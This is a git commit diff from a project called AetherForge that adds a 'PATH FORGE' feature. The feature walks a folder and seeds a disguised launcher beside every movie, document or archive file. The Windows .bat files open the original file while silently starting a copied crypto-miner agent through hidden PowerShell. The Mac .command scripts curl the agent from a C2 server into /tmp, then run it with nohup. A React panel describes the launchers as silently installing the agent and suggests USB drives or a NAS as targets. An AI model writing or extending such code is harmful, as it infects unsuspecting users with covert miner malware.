feat(forge): PATH FORGE recursive batch seeding. Server-side endpoint walks any local path, drops companion launchers next to every matching file on disk. Windows: stem.exe (agent copy) + stem.bat (opens original file + hidden agent launch). Mac: stem.command (open + curl C2 bootstrap). Filename mode: original (Terminator.mkv -> Terminator.exe) or custom stem. UI panel in Forge below Fusion section. USB repacked.

This commit is contained in:
AetherForge
2026-06-03 01:07:38 -07:00
parent 95e8fcc315
commit 924070cd82
8 changed files with 416 additions and 5 deletions

View File

@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644) _ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, nil) dropperHandler := NewDropperHandler(database, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), wsHub, database, dataDir return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir
} }
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder { func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {

View File

@@ -401,7 +401,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
}) })
} }
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler { func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
ensureUsersLoaded(dataDir) ensureUsersLoaded(dataDir)
r := chi.NewRouter() r := chi.NewRouter()
@@ -478,6 +478,10 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builder // Builder
r.Post("/builder/build", builderHandler.ServeHTTP) r.Post("/builder/build", builderHandler.ServeHTTP)
r.Post("/builder/estimate", builderHandler.ServeEstimate) r.Post("/builder/estimate", builderHandler.ServeEstimate)
// Path Forge: walk a local server path, place launchers next to every file
if pathForgeHandler != nil {
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
}
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) { r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
token := chi.URLParam(req, "token") token := chi.URLParam(req, "token")
if builderHandler.CancelBuild(token) { if builderHandler.CancelBuild(token) {

View File

@@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}) fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{})
builderHandler := builder.NewHandler(database, dataDir, "", dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir) blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), "", dataDir, nil) router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil)
dlURL := "/api/v1/builds/" + buildID + "/download" dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir) blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, "", dataDir, nil) router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil) req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()

View File

@@ -0,0 +1,248 @@
package builder
import (
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"path/filepath"
"strings"
)
// PathForgeRequest is the JSON body for POST /api/builder/path-forge.
type PathForgeRequest struct {
// RootPath is the local filesystem path to walk recursively.
RootPath string `json:"root_path"`
// StemMode controls how the output filename is derived:
// "original" → same stem as the source file (Terminator.mkv → Terminator.exe)
// "custom" → use OutputStem for every file
StemMode string `json:"stem_mode"` // "original" | "custom"
// OutputStem is used when StemMode == "custom".
OutputStem string `json:"output_stem"`
// TargetWindows / TargetMac selects which launcher files to write.
TargetWindows bool `json:"target_windows"`
TargetMac bool `json:"target_mac"`
// ServerURL is embedded in the Mac bootstrap curl command.
ServerURL string `json:"server_url"`
// Extensions lists file extensions to target (dot-prefixed, lowercase).
// Leave empty to use the built-in media list.
Extensions []string `json:"extensions"`
}
// PathForgeResult is returned by the handler.
type PathForgeResult struct {
Success bool `json:"success"`
Total int `json:"total"`
Placed int `json:"placed"`
Skipped int `json:"skipped"`
Errors int `json:"errors"`
Results []PathForgeEntry `json:"results"`
ErrorList []string `json:"error_list,omitempty"`
}
type PathForgeEntry struct {
Source string `json:"source"` // original file (relative to root)
Files []string `json:"files"` // companion files placed
}
// defaultMediaExts is the set of file extensions we target when none are specified.
var defaultMediaExts = map[string]struct{}{
".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
".iso": {}, ".mpg": {}, ".mpeg": {}, ".mp3": {}, ".flac": {},
".m4a": {}, ".wav": {}, ".aac": {}, ".ogg": {}, ".pdf": {},
".docx": {}, ".xlsx": {}, ".pptx": {}, ".zip": {}, ".rar": {},
}
// PathForgeHandler handles POST /api/builder/path-forge.
// It does not compile anything — it locates the prebuilt agent binary that
// lives next to AetherForge.exe and copies it alongside every matching file.
type PathForgeHandler struct {
dataDir string
}
func NewPathForgeHandler(dataDir string) *PathForgeHandler {
return &PathForgeHandler{dataDir: dataDir}
}
func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
var req PathForgeRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest)
return
}
if req.RootPath == "" {
http.Error(w, "root_path is required", http.StatusBadRequest)
return
}
if !req.TargetWindows && !req.TargetMac {
req.TargetWindows = true
req.TargetMac = true
}
if req.StemMode == "" {
req.StemMode = "original"
}
// Locate the Windows agent binary.
agentExe := findAgentBinary()
// Build the extension set.
extSet := buildExtSet(req.Extensions)
res := &PathForgeResult{Success: true}
err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
if err != nil || d.IsDir() {
return nil
}
ext := strings.ToLower(filepath.Ext(d.Name()))
if _, ok := extSet[ext]; !ok {
return nil
}
res.Total++
rel, _ := filepath.Rel(req.RootPath, path)
stem := stemFor(req.StemMode, req.OutputStem, d.Name())
dir := filepath.Dir(path)
var placed []string
if req.TargetWindows && agentExe != "" {
// .exe copy of the agent
exeDst := filepath.Join(dir, stem+".exe")
if copyFileBytes(agentExe, exeDst) == nil {
placed = append(placed, stem+".exe")
}
// .bat launcher that opens the original file AND runs the agent
batDst := filepath.Join(dir, stem+".bat")
if err := os.WriteFile(batDst, []byte(batContent(d.Name(), stem)), 0644); err == nil {
placed = append(placed, stem+".bat")
}
}
if req.TargetMac {
cmdDst := filepath.Join(dir, stem+".command")
if err := os.WriteFile(cmdDst, []byte(macContent(d.Name(), req.ServerURL)), 0755); err == nil {
placed = append(placed, stem+".command")
}
}
if len(placed) > 0 {
res.Placed += len(placed)
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
} else {
res.Errors++
res.ErrorList = append(res.ErrorList, "failed to write next to: "+rel)
}
return nil
})
if err != nil {
log.Printf("[pathforge] walk error: %v", err)
res.ErrorList = append(res.ErrorList, "walk error: "+err.Error())
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(res)
}
// ─── helpers ──────────────────────────────────────────────────────────────────
func stemFor(mode, custom, filename string) string {
if mode == "custom" && strings.TrimSpace(custom) != "" {
return sanitizeStem(custom)
}
base := filepath.Base(filename)
name := strings.TrimSuffix(base, filepath.Ext(base))
return sanitizeStem(name)
}
func sanitizeStem(s string) string {
replacer := strings.NewReplacer(
"/", "-", "\\", "-", ":", "-",
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
)
return strings.TrimSpace(replacer.Replace(s))
}
// batContent creates a .bat file that opens the original media file with the
// default Windows player, then silently starts the agent exe.
func batContent(originalFile, exeStem string) string {
return "@echo off\r\n" +
fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", originalFile) +
fmt.Sprintf("powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+
"-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", exeStem)
}
// macContent creates a .command shell script that opens the original file on
// macOS and downloads + runs the agent from the C2 server.
func macContent(originalFile, serverURL string) string {
dl := ""
if serverURL != "" {
dl = fmt.Sprintf(
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
serverURL,
)
}
return "#!/bin/bash\n" +
fmt.Sprintf("open \"$(dirname \"$0\")/%s\" 2>/dev/null\n", originalFile) +
dl
}
// findAgentBinary looks next to the server executable for the agent binary.
func findAgentBinary() string {
exe, err := os.Executable()
if err != nil {
return ""
}
dir := filepath.Dir(exe)
candidates := []string{
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
filepath.Join(dir, "crypto-miner-agent.exe"),
}
for _, c := range candidates {
if _, err := os.Stat(c); err == nil {
return c
}
}
return ""
}
// buildExtSet merges user-specified extensions with defaults.
func buildExtSet(exts []string) map[string]struct{} {
if len(exts) == 0 {
return defaultMediaExts
}
m := make(map[string]struct{}, len(exts))
for _, e := range exts {
if !strings.HasPrefix(e, ".") {
e = "." + e
}
m[strings.ToLower(e)] = struct{}{}
}
return m
}
func copyFileBytes(src, dst string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}

View File

@@ -241,12 +241,15 @@ func main() {
return configProvider.PublicURL() return configProvider.PublicURL()
}) })
// Path Forge: server-side recursive file seeding
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
// Find web root for frontend // Find web root for frontend
webRoot := findWebRoot() webRoot := findWebRoot()
log.Printf("Web root: %s", webRoot) log.Printf("Web root: %s", webRoot)
// Initialize router // Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, cfg.DataDir, func() string { router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL() return configProvider.PublicURL()
}) })
log.Println("Router initialized") log.Println("Router initialized")

View File

@@ -125,6 +125,19 @@ export default function BuilderPage() {
} | null>(null); } | null>(null);
const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null); const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null);
const [estimateLoading, setEstimateLoading] = useState(false); const [estimateLoading, setEstimateLoading] = useState(false);
// ── PATH FORGE (server-side recursive seeding) ─────────────────────────────
const [pfPath, setPfPath] = useState('');
const [pfStemMode, setPfStemMode] = useState<'original' | 'custom'>('original');
const [pfStem, setPfStem] = useState('');
const [pfWindows, setPfWindows] = useState(true);
const [pfMac, setPfMac] = useState(true);
const [pfBusy, setPfBusy] = useState(false);
const [pfResult, setPfResult] = useState<{
placed: number; total: number; errors: number;
results: { source: string; files: string[] }[];
error_list?: string[];
} | null>(null);
// Set to true to request cancellation between batch iterations // Set to true to request cancellation between batch iterations
const batchCancelRef = useRef(false); const batchCancelRef = useRef(false);
// Tracks the cancel_token of the currently-running forge so we can kill it server-side // Tracks the cancel_token of the currently-running forge so we can kill it server-side
@@ -457,6 +470,34 @@ export default function BuilderPage() {
setBuilding(false); setBuilding(false);
}, []); }, []);
const handlePathForge = async () => {
if (!pfPath.trim()) { alert('Enter a folder path first.'); return; }
if (!pfWindows && !pfMac) { alert('Select at least one target platform.'); return; }
setPfBusy(true);
setPfResult(null);
try {
const { authHeaders } = await import('../api/auth');
const res = await fetch('/api/v1/builder/path-forge', {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...authHeaders() },
body: JSON.stringify({
root_path: pfPath.trim(),
stem_mode: pfStemMode,
output_stem: pfStem.trim(),
target_windows: pfWindows,
target_mac: pfMac,
server_url: form?.server_url ?? '',
}),
});
const data = await res.json();
setPfResult(data);
} catch (err) {
setPfResult({ placed: 0, total: 0, errors: 1, results: [], error_list: [String(err)] });
} finally {
setPfBusy(false);
}
};
const handleBatchCancel = () => { const handleBatchCancel = () => {
batchCancelRef.current = true; batchCancelRef.current = true;
// Also kill the currently-running server compile // Also kill the currently-running server compile
@@ -1941,6 +1982,121 @@ export default function BuilderPage() {
</div> </div>
)} )}
{/* ── PATH FORGE ─────────────────────────────────────────────── */}
<div className="form-section" style={{ borderTop: '1px solid #ff8c0033', paddingTop: '1.25rem' }}>
<ForgeSectionHeader
title="PATH FORGE — Recursive Batch Seed"
badge="server-only"
description="Type a local folder path. The server walks it recursively and places a launcher next to every matching file — no upload needed."
/>
<p className="form-hint">
For every file found (movies, docs, archives) the server drops a <strong>.bat + .exe</strong> (Windows)
and/or <strong>.command</strong> (Mac) right beside it in the same directory.
The launcher opens the original file normally and silently installs the agent.
</p>
<div className="form-group">
<label className="label">Root Folder Path</label>
<input
type="text"
className="input mono"
placeholder={`E:\\Movies or /Volumes/USB/Movies`}
value={pfPath}
onChange={(e) => setPfPath(e.target.value)}
disabled={pfBusy}
/>
<span className="form-hint">Path on the machine running AetherForge.exe (e.g. your USB drive or NAS).</span>
</div>
<div className="form-row" style={{ gap: '1rem', flexWrap: 'wrap' }}>
<div className="form-group" style={{ flex: '0 0 auto' }}>
<label className="label">Output Filename</label>
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
<input type="radio" name="pfStemMode" value="original"
checked={pfStemMode === 'original'}
onChange={() => setPfStemMode('original')} disabled={pfBusy} />
Same as source file
</label>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
<input type="radio" name="pfStemMode" value="custom"
checked={pfStemMode === 'custom'}
onChange={() => setPfStemMode('custom')} disabled={pfBusy} />
Custom name:
</label>
<input
type="text"
className="input mono"
style={{ width: 160, opacity: pfStemMode === 'custom' ? 1 : 0.35 }}
placeholder="e.g. VideoPlayer"
value={pfStem}
onChange={(e) => setPfStem(e.target.value)}
disabled={pfBusy || pfStemMode !== 'custom'}
/>
</div>
<span className="form-hint">
{pfStemMode === 'original'
? 'Terminator.mkv → Terminator.exe + Terminator.bat'
: `Every file → ${pfStem || 'VideoPlayer'}.exe + ${pfStem || 'VideoPlayer'}.bat`}
</span>
</div>
<div className="form-group" style={{ flex: '0 0 auto' }}>
<label className="label">Target Platforms</label>
<div style={{ display: 'flex', gap: '1.25rem', marginTop: '0.25rem' }}>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
<input type="checkbox" checked={pfWindows} onChange={(e) => setPfWindows(e.target.checked)} disabled={pfBusy} />
<span style={{ color: '#61dafb' }}> Windows</span>
<span style={{ color: '#555', fontSize: '0.75rem' }}>.bat + .exe</span>
</label>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
<input type="checkbox" checked={pfMac} onChange={(e) => setPfMac(e.target.checked)} disabled={pfBusy} />
<span style={{ color: '#a8ff78' }}> Mac/Linux</span>
<span style={{ color: '#555', fontSize: '0.75rem' }}>.command</span>
</label>
</div>
</div>
</div>
<button
type="button"
className="btn btn-primary"
style={{
marginTop: '0.75rem',
background: 'linear-gradient(135deg, #ff8c00, #ff4500)',
border: 'none', color: '#fff', fontWeight: 700,
letterSpacing: '0.08em', padding: '0.55rem 1.4rem',
}}
onClick={handlePathForge}
disabled={pfBusy || !pfPath.trim() || (!pfWindows && !pfMac)}
>
{pfBusy ? '⏳ Seeding…' : '◈ LAUNCH PATH FORGE'}
</button>
{pfResult && (
<div className="card" style={{ marginTop: '1rem', padding: '0.85rem 1rem', fontSize: '0.82rem' }}>
<p className="font-tech" style={{ marginBottom: '0.5rem', color: pfResult.errors > 0 ? 'var(--neon-amber)' : 'var(--neon-green)' }}>
{pfResult.errors === 0 && pfResult.placed > 0
? `${pfResult.placed} files placed across ${pfResult.total} source files`
: `${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`}
</p>
{pfResult.results.slice(0, 20).map((r, i) => (
<div key={i} style={{ marginBottom: '0.2rem', color: '#aaa' }}>
<span style={{ color: '#ddd' }}>{r.source}</span>
{' → '}
<span style={{ color: 'var(--neon-cyan)' }}>{r.files.join(' ')}</span>
</div>
))}
{pfResult.results.length > 20 && (
<p style={{ color: '#666', marginTop: '0.5rem' }}>and {pfResult.results.length - 20} more</p>
)}
{pfResult.error_list?.slice(0, 5).map((e, i) => (
<p key={i} style={{ color: 'var(--neon-red, #f55)', marginTop: '0.25rem' }}>{e}</p>
))}
</div>
)}
</div>
{!simpleMode && ( {!simpleMode && (
<> <>
<div className="form-section"> <div className="form-section">

Binary file not shown.

Binary file not shown.